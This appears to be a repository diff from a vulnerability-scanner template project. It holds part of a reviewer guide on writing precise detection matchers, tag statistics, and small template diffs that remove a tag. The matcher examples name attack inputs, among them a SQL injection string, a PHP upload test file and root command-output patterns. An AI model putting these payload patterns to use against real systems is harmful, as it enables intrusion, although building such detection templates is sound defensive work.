regex:
- 'version.*[6-8]\.[0-5]\.[0-9]'
part: body
- type: word # Layer 3: Verify exploit success
words:
- "unauthorized_data_access"
- "/api/snapshots/{{randstr}}"
part: body
condition: or
```
#### **CVE-Specific Template Example**
```yaml
# CVE-2024-1234 - Specific Application RCE
matchers-condition: and
matchers:
- type: word
words:
- "VulnApp Management Console v2.1.0" # Exact vulnerable version
- "Build 2024.03.15" # Specific build identifier
part: body
- type: status # Expected response code
status:
- 200
- type: word # Exploitation proof
words:
- "RCE_EXECUTION_SUCCESS_{{randstr}}" # Unique payload response
- "nuclei_test_command_output" # Command execution indicator
part: body
condition: or
```
#### **Panel Detection - Unique Signatures**
```yaml
# FortiGate Panel - Multiple unique identifiers
matchers-condition: and
matchers:
- type: word
words:
- "<title>FortiGate - Login</title>" # Specific page title
- "Fortinet, Inc." # Vendor attribution
- "FortiOS Version:" # Version indicator
part: body
condition: or
- type: regex
regex:
- '/images/fortinet_logo_[0-9]+\.png' # Unique asset pattern
- 'build_[0-9]{4}_[0-9]{6}' # Build number format specific to FortiGate
part: body
condition: or
```
---
## False Positive Prevention
### **High-Risk Scenarios to Test**
Before approval, verify matchers DON'T trigger on:
1. **Related Non-Vulnerable Systems**
- Same vendor, different products
- Same application, patched versions
- Similar interfaces, different implementations
2. **Generic Web Applications**
- Common frameworks (WordPress, Django, Rails)
- Standard admin panels (cPanel, Plesk)
- Default server pages (Apache, Nginx)
3. **Honeypot/Security Tools**
- Intentionally deceptive responses
- Security scanners mimicking vulnerabilities
- Research environments with fake responses
### **Matcher Testing Checklist**
```yaml
Required Validation Steps:
- [ ] Test against 3+ non-vulnerable similar applications
- [ ] Verify unique response elements are truly unique
- [ ] Confirm payload/exploitation indicators are specific
- [ ] Check matcher doesn't trigger on default installations
- [ ] Validate version detection accuracy (if applicable)
```
---
## Review Categories by Impact
### **1. Metadata Enhancement**
**Most Common Missing Elements:**
- `shodan-query` for asset discovery
- `fofa-query` for alternative search engines
- `classification` fields for vulnerability tracking
**Review Actions:**
```yaml
# Add asset discovery capabilities
metadata:
verified: true
shodan-query: 'http.title:"Grafana" http.component:"Grafana"'
fofa-query: 'title="Grafana" && body="grafana"'
# Ensure proper classification
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-1234
cwe-id: CWE-89
```
### **2. Matcher Quality**
**Common Issues:**
- Overly broad detection patterns
- Missing context verification
- Weak exploitation proof
**Review Standards:**
```yaml
# Require multi-layer validation
matchers-condition: and # Force all conditions to match
matchers:
- type: word # Application identification
- type: status # Response validation
- type: word # Vulnerability proof
condition: or # Allow multiple proof methods
```
### **3. Severity Assessment**
**CVSS Alignment Requirements:**
- **Critical (9.0-10.0):** Remote code execution, complete system compromise
- **High (7.0-8.9):** Significant data breach, privilege escalation
- **Medium (4.0-6.9):** Information disclosure, limited access
- **Low (0.1-3.9):** Minor information leakage, requires authentication
### **4. Reference Validation**
**Required Reference Quality:**
- Original vulnerability advisory (CVE, vendor security bulletin)
- Technical analysis or proof of concept
- NIST NVD entry (if available)
- Public disclosure timeline
---
## Reviewer Action Templates
### **For Metadata Improvements**
```
Please enhance the template metadata:
- Add `shodan-query` for asset discovery: `[suggested query]`
- Include `fofa-query` for alternative search: `[suggested query]`
- Verify `classification` fields are complete
- Ensure `verified: true` with debug data if tested
```
### **For Weak Matchers**
```
The current matchers may produce false positives. Please:
- Add application-specific identifiers (exact titles, unique elements)
- Include version validation for vulnerable ranges only
- Verify exploitation proof rather than just version detection
- Test against [specific non-vulnerable scenarios]
```
### **For Severity Issues**
```
Severity should be [X] based on CVSS impact:
- Attack Vector: [Network/Adjacent/Local/Physical]
- Impact: [Complete/Partial/None] for CIA triad
- Required Privileges: [None/Low/High]
- Reference CVSS calculator: [link]
```
### **For Missing References**
```
Please add comprehensive references:
- Original vulnerability disclosure/advisory
- Technical analysis or exploitation details
- Official vendor security bulletin (if available)
- NIST NVD entry: https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXX
```
### **For Missing Vulnerability Discoverer Attribution**
```
Please credit the original vulnerability discoverer in the author field:
- Update author field: "template-author,vulnerability-discoverer" (comma-separated)
- Example: "princechaddha,0xd0ff9" or "dhiyaneshDk,researcher_name"
- Include original disclosure/research reference
- Ensure proper credit for both template creator AND vulnerability researcher
```
---
## Quality Standards & Goals
### **Template Accuracy Goals**
- **False Positive Rate:** <2% (verified through community feedback)
- **Detection Coverage:** 95%+ for vulnerable instances
- **Metadata Completeness:** 100% required fields, 80%+ enhanced fields
### **Review Consistency Standards**
- **Response Time:** Initial review within 48 hours
- **Feedback Quality:** Specific, actionable guidance with examples
- **Approval Criteria:** All quality checks pass, tested when possible
### **Community Impact**
- **Contribution Quality:** Monitor improvement patterns in repeat contributors
- **Review Effectiveness:** Track issues caught in review vs. post-merge
- **Knowledge Transfer:** Successful elevation of community template quality
---
## Advanced Review Techniques
### **Template Testing Environment Setup**
```bash
# Recommended testing workflow
nuclei -t new-template.yaml -target vulnerable-lab.com -debug
nuclei -t new-template.yaml -target patched-system.com -debug
nuclei -t new-template.yaml -list target-variety.txt -silent
```
### **Vulnerability Context Research**
1. **CVE Database Cross-Reference:** Verify vulnerability details match template scope
2. **Vendor Advisory Review:** Confirm affected versions and exploitation requirements
3. **Community Disclosure Analysis:** Check for additional context or limitations
4. **Exploit Database Validation:** Compare detection approach with known exploits
### **Review Documentation Standards**
- Document testing methodology in PR comments
- Provide specific improvement suggestions with examples
- Reference similar high-quality templates as comparison
- Explain security rationale for matcher requirements
---
## Practical Examples by Vulnerability Type
### **SQL Injection Templates**
```yaml
# WRONG - Generic database errors (match many systems)
matchers:
- type: word
words:
- "mysql_fetch"
- "SQL syntax"
# RIGHT - Specific to vulnerability context
matchers:
- type: word
words:
- "mysql_fetch_array(): supplied argument" # Specific error pattern
- "WHERE id='1' OR '1'='1'" # Injection payload context
- "users table does not exist" # Application-specific error
part: body
condition: and
```
### **RCE Templates**
```yaml
# WRONG - Generic command output
matchers:
- type: word
words:
- "root"
- "/bin/bash"
# RIGHT - Command execution in vulnerability context
matchers:
- type: regex
regex:
- 'uid=0\(root\) gid=0\(root\) groups=0\(root\)' # Complete whoami output
part: body
- type: word
words:
- "nuclei_rce_test_{{rand_base(6)}}" # Unique payload identifier
part: body
```
### **File Upload Vulnerabilities**
```yaml
# WRONG - Generic file upload success
matchers:
- type: word
words:
- "uploaded successfully"
- "file saved"
# RIGHT - Vulnerability-specific upload validation
matchers:
- type: word
words:
- "nuclei_test_{{randstr}}.php uploaded to /var/www/uploads/" # Specific path + file
- "File permissions: 644" # System response
- "<?php echo 'nuclei_upload_test'; ?>" # File content verification
part: body
condition: and
```
---
## Multi-Layer Matcher Strategy
```yaml
# Use multiple verification layers
matchers-condition: and
matchers:
- type: word # Layer 1: Identify the application
words:
- "VulnApp Management Console"
part: body
- type: regex # Layer 2: Confirm vulnerable version
regex:
- 'Version: [1-2]\.[0-5]\.[0-9]'
part: body
- type: word # Layer 3: Verify vulnerability exists
words:
- "debug_info_exposed"
- "configuration_leak"
part: body
condition: or
```
---
*This guide provides comprehensive standards for creating and reviewing high-quality nuclei templates that are accurate, specific, and minimize false positives.*
+1 -1
View File
@@ -1 +1 @@
{"tags":[{"name":"vuln","count":6468},{"name":"cve","count":3587},{"name":"discovery","count":3265},{"name":"vkev","count":1394},{"name":"panel","count":1365},{"name":"xss","count":1269},{"name":"wordpress","count":1261},{"name":"exposure","count":1141},{"name":"wp-plugin","count":1103},{"name":"osint","count":848},{"name":"rce","count":834},{"name":"tech","count":821},{"name":"lfi","count":796},{"name":"misconfig","count":784},{"name":"devops","count":742},{"name":"cloud","count":698},{"name":"wp","count":647},{"name":"detect","count":604},{"name":"edb","count":598},{"name":"wpscan","count":570},{"name":"cve2021","count":552},{"name":"packetstorm","count":551},{"name":"cve2022","count":540},{"name":"cve2023","count":516},{"name":"sqli","count":509},{"name":"cve2024","count":501},{"name":"login","count":475},{"name":"unauth","count":469},{"name":"intrusive","count":462},{"name":"authenticated","count":443},{"name":"kev","count":433},{"name":"file","count":379},{"name":"network","count":350},{"name":"cve2020","count":307},{"name":"oast","count":300},{"name":"default-login","count":288},{"name":"config","count":259},{"name":"tcp","count":255},{"name":"apache","count":252},{"name":"token-spray","count":247},{"name":"microsoft","count":244},{"name":"top-200","count":235},{"name":"osint-social","count":232},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"cve2025","count":218},{"name":"auth-bypass","count":213},{"name":"token","count":213},{"name":"malware","count":213},{"name":"azure","count":210},{"name":"","count":206},{"name":"cve2019","count":204},{"name":"cve2018","count":195},{"name":"iot","count":195},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":189},{"name":"code","count":182},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":162},{"name":"ssrf","count":158},{"name":"keys","count":157},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":141},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":133},{"name":"ftp","count":133},{"name":"cms","count":127},{"name":"files","count":126},{"name":"cve2017","count":123},{"name":"phishing","count":119},{"name":"cve2010","count":115},{"name":"kubernetes","count":113},{"name":"disclosure","count":106},{"name":"audit","count":102},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"js","count":96},{"name":"windows-audit","count":90},{"name":"oss","count":87},{"name":"seclists","count":86},{"name":"oracle","count":85},{"name":"privesc","count":85},{"name":"file-upload","count":84},{"name":"takeover","count":82},{"name":"passive","count":79},{"name":"cisco","count":78},{"name":"enum","count":77},{"name":"windows","count":77},{"name":"fileupload","count":76},{"name":"k8s","count":73},{"name":"adobe","count":69},{"name":"cve2015","count":65},{"name":"detection","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"vmware","count":63},{"name":"cve2016","count":62},{"name":"deserialization","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"cve2014","count":55},{"name":"php","count":53},{"name":"dast","count":51},{"name":"traversal","count":51},{"name":"misc","count":51},{"name":"logs","count":50},{"name":"ssti","count":49},{"name":"ssh","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"aem","count":48},{"name":"api","count":48},{"name":"plugin","count":48},{"name":"log4j","count":48},{"name":"debug","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"cnvd","count":47},{"name":"vulhub","count":46},{"name":"injection","count":46},{"name":"ibm","count":46},{"name":"aliyun","count":45},{"name":"fortinet","count":45},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"wp-theme","count":41},{"name":"sap","count":40},{"name":"postgresql","count":40},{"name":"k8s-cluster-security","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"xxe","count":37},{"name":"jira","count":37},{"name":"devsecops","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-coding","count":36},{"name":"graphql","count":35},{"name":"osint-misc","count":35},{"name":"dns","count":34},{"name":"fuzz","count":34},{"name":"networking","count":34},{"name":"oob","count":34},{"name":"gitlab","count":34},{"name":"printer","count":34},{"name":"yonyou","count":33},{"name":"lfr","count":33},{"name":"vpc","count":31},{"name":"presLine truncated
{"tags":[{"name":"cve","count":3225},{"name":"panel","count":1327},{"name":"xss","count":1246},{"name":"wordpress","count":1168},{"name":"exposure","count":1094},{"name":"wp-plugin","count":1023},{"name":"osint","count":810},{"name":"tech","count":782},{"name":"lfi","count":772},{"name":"rce","count":770},{"name":"misconfig","count":747},{"name":"devops","count":738},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":573},{"name":"packetstorm","count":552},{"name":"wpscan","count":534},{"name":"cve2021","count":513},{"name":"cve2022","count":512},{"name":"cve2023","count":488},{"name":"detect","count":486},{"name":"sqli","count":484},{"name":"cve2024","count":462},{"name":"login","count":446},{"name":"unauth","count":431},{"name":"authenticated","count":422},{"name":"kev","count":405},{"name":"intrusive","count":398},{"name":"file","count":377},{"name":"oast","count":276},{"name":"default-login","count":275},{"name":"cve2020","count":274},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":238},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":216},{"name":"malware","count":213},{"name":"token","count":211},{"name":"osint-social","count":210},{"name":"azure","count":210},{"name":"csp-bypass","count":204},{"name":"","count":204},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"iot","count":184},{"name":"cve2018","count":184},{"name":"auth-bypass","count":183},{"name":"cve2019","count":182},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"code","count":157},{"name":"keys","count":156},{"name":"redirect","count":156},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"ssrf","count":144},{"name":"tcp","count":139},{"name":"security","count":133},{"name":"router","count":130},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":119},{"name":"phishing","count":117},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"cve2025","count":94},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":83},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"local","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":78},{"name":"js","count":75},{"name":"windows","count":74},{"name":"cisco","count":73},{"name":"enum","count":72},{"name":"k8s","count":71},{"name":"windows-audit","count":70},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"cve2016","count":60},{"name":"file-upload","count":59},{"name":"detection","count":59},{"name":"atlassian","count":59},{"name":"google","count":57},{"name":"c2","count":57},{"name":"vmware","count":57},{"name":"audit","count":55},{"name":"deserialization","count":53},{"name":"dast","count":51},{"name":"cve2014","count":50},{"name":"php","count":50},{"name":"logs","count":50},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":47},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"misc","count":46},{"name":"ssti","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"osint-gaming","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"jndi","count":44},{"name":"plugin","count":44},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"oa","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"fortinet","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":40},{"name":"miscellaneous","count":39},{"name":"dlink","count":39},{"name":"info-leak","count":39},{"name":"postgresql","count":39},{"name":"sap","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"cti","count":37},{"name":"api","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"networking","count":34},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"lfr","count":34},{"name":"xxe","count":33},{"name":"fuzz","count":33},{"name":"dns","count":32},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"printer","count":31},{"name":"osint-tech","count":31},{"name":"osint-coding","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"ec2","count":30},{"name":"admin","count":29},{"name":"gke","count":29},{"name":"prestashop","count":29},{"name":"tomcat","count":28},{"name":"proxy","count":28},{"namLine truncated
+6747 -7140
View File
File diff suppressed because it is too large. Load diff
+10 -10
View File
@@ -1,12 +1,12 @@
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
| cve | 3225 | dhiyaneshdk | 1866 | http | 8825 | info | 4118 | file | 435 |
| panel | 1327 | daffainfo | 868 | cloud | 657 | high | 2423 | dns | 26 |
| xss | 1246 | dwisiswant0 | 806 | file | 435 | medium | 2339 | | |
| wordpress | 1168 | princechaddha | 806 | dast | 255 | critical | 1391 | | |
| exposure | 1094 | ritikchaddha | 633 | workflows | 202 | low | 318 | | |
| wp-plugin | 1023 | pussycat0x | 519 | code | 174 | unknown | 54 | | |
| osint | 810 | pikpikcu | 352 | network | 141 | | | | |
| tech | 782 | pdteam | 308 | javascript | 71 | | | | |
| lfi | 772 | pdresearch | 251 | ssl | 38 | | | | |
| rce | 770 | ricardomaia | 249 | dns | 23 | | | | |
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,cloud-enum,aws,discovery
tags: cloud,enum,cloud-enum,aws
self-contained: true
@@ -34,4 +34,4 @@ http:
- 200
- 302
condition: or
# digest: 4b0a00483046022100c72eb76f5a040d1b24e529a3f41d00e23912cbf1a822f0bbc1b70de50fb93cbc022100d1bee6e4d2cdaf0c30963a746715395fc4438d47e6ed5b19f3113ba7f5d32bef:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202b00629a52cbcc198e7d34d2b64cb589c7f1e3656d03bf8c2c83b46cb0cd93bc022100dd71dc5ea04e3d278424d15691609e6c3a3967ba614fc43af74f11911acc25a1:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,cloud-enum,aws,discovery
tags: cloud,enum,cloud-enum,aws
self-contained: true
@@ -38,4 +38,4 @@ http:
name: "Protected AWS S3 Bucket"
status:
- 403
# digest: 4a0a00473045022040330052e09b20ab8d7ce1876fa078a1d9561e6f80c536d599acbd71957fd618022100ee73a27026a07d4ee42e6f938ec0799946111aa9c771840ca9bbd22324910300:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022042762e76cd970a173e2b6ebcdb6b5eb7a50dee876ca17dc086869e49cb7a0918022074319bef7221719f2a0af22f125dfe951d2bd8caa49399e5e9d0e703a7eac74e:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,cloud-enum,azure,dns,discovery
tags: cloud,enum,cloud-enum,azure,dns
self-contained: true
@@ -29,4 +29,4 @@ dns:
part: answer
words:
- "IN\tA"
# digest: 4b0a00483046022100a96a380a899cf2a5b297c97255b60a4badc8e2308c09cd4c276df94752197b71022100fde30e503e271d8078b6bed2a5320912aa65e20e4df8fc84cbc9cd7de415774a:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100996d1a8d7019d1d042888717ee86616809f7ccea1ef47eb0aaaa0e2416b874300220085a76c67e4cd35b6d3a6ce40b9923c00f76857411201bb5d2fe81e195cefb7e:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,cloud-enum,azure,fuzz,enum,dns,discovery
tags: cloud,cloud-enum,azure,fuzz,enum,dns
self-contained: true
@@ -63,4 +63,4 @@ dns:
part: answer
words:
- "IN\tA"
# digest: 490a00463044022032a541f5ba8267dc858da6b4bfedc88f03d5f99bd2b94c008e12123d0b532461022058bc8dfa894c8904f459774f9516ba5feacc00d91d50d39659e73a3bb0680a09:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502204d0fc3b9fa192c08f976d00ea8d644b1536049eae245faafd029f246da8e6b1d022100e3a584da363f2d1960192fd6660b09e70c6c9718644931fead2972ed32d5b6ee:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,azure,discovery
tags: cloud,enum,azure
self-contained: true
@@ -34,4 +34,4 @@ http:
- 200
- 302
condition: or
# digest: 490a004630440220350306ed3cf366bf163000ac7fcd37ab19ac059636a5fab0deda3b351f1e11e4022039941af02eed8b6659c4933581bc2afb4213c1d8f3451b551c79954015f0da1a:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220126c63ac565607c646bd1900a65df995c60286fc15c2b779797206c86f0873880220068e36f8ca880bf0632051bb1e4bea5e97a012243737da3b48ee063e6ccac964:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: enum,cloud,cloud-enum,gcp,discovery
tags: enum,cloud,cloud-enum,gcp
self-contained: true
@@ -40,4 +40,4 @@ http:
- "status_code==302"
- contains(location, "login")
condition: and
# digest: 4b0a00483046022100b7ca6a5620e553021c93b3a71a9afb91726a420ca8cbe42fe1b43debb214b2600221009f199a7494eab9c50e752fa60040ebaf0831b622d5734eb8b3c1d4bf9cb971d4:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100fce31a63aab6e8bcaf7cb16745a7d23c0e735104e0b6ff47a0c77e2561e4cb4b022100853c57600af362b2fa7bd3e6551df494fa81dd043de250b32406130b65b183da:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,cloud-enum,gcp,discovery
tags: cloud,enum,cloud-enum,gcp
self-contained: true
@@ -37,4 +37,4 @@ http:
name: "Protected GCP Bucket"
status:
- 403
# digest: 4b0a00483046022100f0faf908cbb5f61d20b65f332ad44de601d17049e4cf11b1859b65769a191e09022100c2e00fcfcd4e31c19378a99d4c2e11dd14993b4ccc6cb2b5a66668a2cb4b6f09:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402201c96ae60fa7a4b6502e37d1f0a368a06326c5d1c0621e333e1baa733a42b1a4902207412bf98d7e4aaf9b755810b30bda7827b495eae85a5607855376c0a1e1d8ab1:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: enum,cloud,cloud-enum,gcp,discovery
tags: enum,cloud,cloud-enum,gcp
self-contained: true
@@ -32,4 +32,4 @@ http:
name: "Open GCP Firebase App"
status:
- 200
# digest: 490a0046304402204d3c102572e65c69544af4d0472c1e5063d3faa67e07f8c41b9c23c67d3072d502205197c08d89064af55aba6c334c905ed0545b210f4ab2fb79bcbee3f40e5a46da:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100d46b37e833fc0fb66e93b0fd4bf7753abe3ff075eeae2735f79e09850585f7a902210081119295893a854aa69d6403778a3dd8818cd265412c0089391bdd5cf185fcb7:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: enum,cloud,cloud-enum,gcp,discovery
tags: enum,cloud,cloud-enum,gcp
self-contained: true
@@ -48,4 +48,4 @@ http:
name: "Deactivated GCP Firebase RTDB"
status:
- 423
# digest: 4b0a00483046022100b6b2896f4ce1e6a9837be3607a820f1bb941f25bde1af51e9660f64416928fe4022100e967115e55f332bf5b90d6801318bdf25c8c15edb0b4367bc61e2fb618e5381c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502200fd19c4d2057f25272d37b7df6c1c910f3490fd6beda49f493f4f9daa8d697960221008d426fd69d100daf3ea7af86fb08be3d60d1ed8e505f0df50298aa7155e7a10c:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
Regularly audit your DNS records and associated IP addresses. Remove any DNS records that point to IP addresses no longer reserved under your Google Cloud account.
reference:
- https://cloud.google.com/dns/docs
tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery
tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config
flow: |
code(1)
@@ -88,4 +88,4 @@ code:
- type: dsl
dsl:
- '"Dangling DNS Record: Type: " + recordType + " Data: " + recordData + " in Zone: " + managedZone + " of Project: " + projectId'
# digest: 4a0a0047304502204272ac41efa35729e016879c17d50d03f4b6ac55bfb4f8f44988453124e52510022100fa6369224c1eeb6551e2601a926be5495112c2ec965403dd2f0303907a37bfcd:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402202c5b70acf82fe3e4dbbdf2f4205f693e25cfafc642d5bc9c5b661b7685fcf2ee022032f7c3bd76089463d4bde9e6e4d9de7c25ffc32592167725b57b5ecf86d12e39:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
Enable DNSSEC for each Google Cloud DNS managed zone through the Google Cloud Console or using the `gcloud dns managed-zones update` command with the `--dnssec-state=on` flag.
reference:
- https://cloud.google.com/dns/docs/dnssec
tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery
tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config
flow: |
code(1)
@@ -69,4 +69,4 @@ code:
- type: dsl
dsl:
- '"DNSSEC not enabled for Managed Zone: " + managedZoneName + " in Project: " + projectId'
# digest: 4a0a004730450220216452864fd498a37ca7126a7ac05c8ed4ef12e0ac61c64859e224448acedd6e022100a55e457f728bd9ecc9c5827ef7ae05c82e881f7b30df22fb18edd2b3c231a9d6:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100a63467b5c1df819e70daa1a522e5d82b1ebf323053c6059515d504ba3b21a7440220585e48a1e6f01417b987f45713c14ed23a02dcd48f34715a0a31287678703e63:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
Update the DNSSEC configuration for each DNS managed zone to use more secure algorithms like RSASHA256 or ECDSAP256SHA256 for the Key-Signing Key (KSK).
reference:
- https://cloud.google.com/dns/docs/dnssec-config
tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery
tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config
flow: |
code(1)
@@ -69,4 +69,4 @@ code:
- type: dsl
dsl:
- '"Deprecated RSASHA1 algorithm found in DNS managed zone: " + managedZone + " in Project: " + projectId'
# digest: 4a0a00473045022100f824e7dde9600cd968137f059bb4796dabfa7cc877e9f5de277b66e0312ec234022028c76505257d8f5ad46be0313ef6d52e7f02f5f3dbcc0feb1f2052d7bd6b7a90:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f1fba22253f98b9a21cc53aa6992c05c36ec882ebaee328c6b76b5ac3c5688b402206dcf925a8f866fe1240ba4fe8c20b80730229c5443fc645041aa23c0c3ca6758:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
Update the DNSSEC configuration to use a stronger, more secure signing algorithm like RSASHA256 or ECDSAP256SHA256 for your DNS managed zones.
reference:
- https://cloud.google.com/dns/docs/dnssec-configuring
tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery
tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config
flow: |
code(1)
@@ -71,4 +71,4 @@ code:
- type: dsl
dsl:
- '"Deprecated RSASHA1 Algorithm used in DNSSEC for Managed Zone: " + managedZoneName + " in Project: " + projectId'
# digest: 4a0a00473045022100b162de9f0763eea4bcf9aa7277cb7298115a69682615a41e7680619b3f5e6a7d022070379ac61ebd9acdcdc3b5a15333969a2b443bd656f0dde2d86cefb9a38155c1:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100cb8b9fff2868480c6af2ad01eab469aae458e9d9bab3eff9a7e58b2bcf36d7c7022100d6a35be3a70ec1ae8d2e5abf280603f6b3c1a64e1e2fd5ae89bd0d281d4dda56:922c64590222798bb761d5b6d8e72950
@@ -39,7 +39,7 @@ code:
name: projectIds
internal: true
json:
- ".[].projectId"
- '.[].projectId'
- engine:
- sh
@@ -52,7 +52,7 @@ code:
name: emails
internal: true
json:
- ".[].email"
- '.[].email'
- engine:
- sh
@@ -63,12 +63,10 @@ code:
matchers:
- type: word
words:
- "USER_MANAGED"
- "KEY_ID"
condition: or
- 'KEY_ID'
extractors:
- type: dsl
dsl:
- '"User-Managed Keys Found in Service Account " + email + " in project " + projectId'
# digest: 490a0046304402200b5e24605932c74af12b6c325e37ca631802cc31f53ffbd0bc812862c1f2a6bf02205f1402f6334cba1c99ea9385c89646f8a707b752850f350c30263061779818c3:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502206d029c26c00ff70caf71ace521c4a91a88b47c2a3befd052c8f6b8aafc3df559022100b847c83b437bece07c45ae96c3b0636f4b64365aa023ecc548b446f9e3e6d5af:922c64590222798bb761d5b6d8e72950
@@ -39,7 +39,7 @@ code:
name: projectIds
internal: true
json:
- ".[].projectId"
- '.[].projectId'
- engine:
- sh
@@ -52,7 +52,7 @@ code:
name: buckets
internal: true
json:
- ".[].name"
- '.[].name'
- engine:
- sh
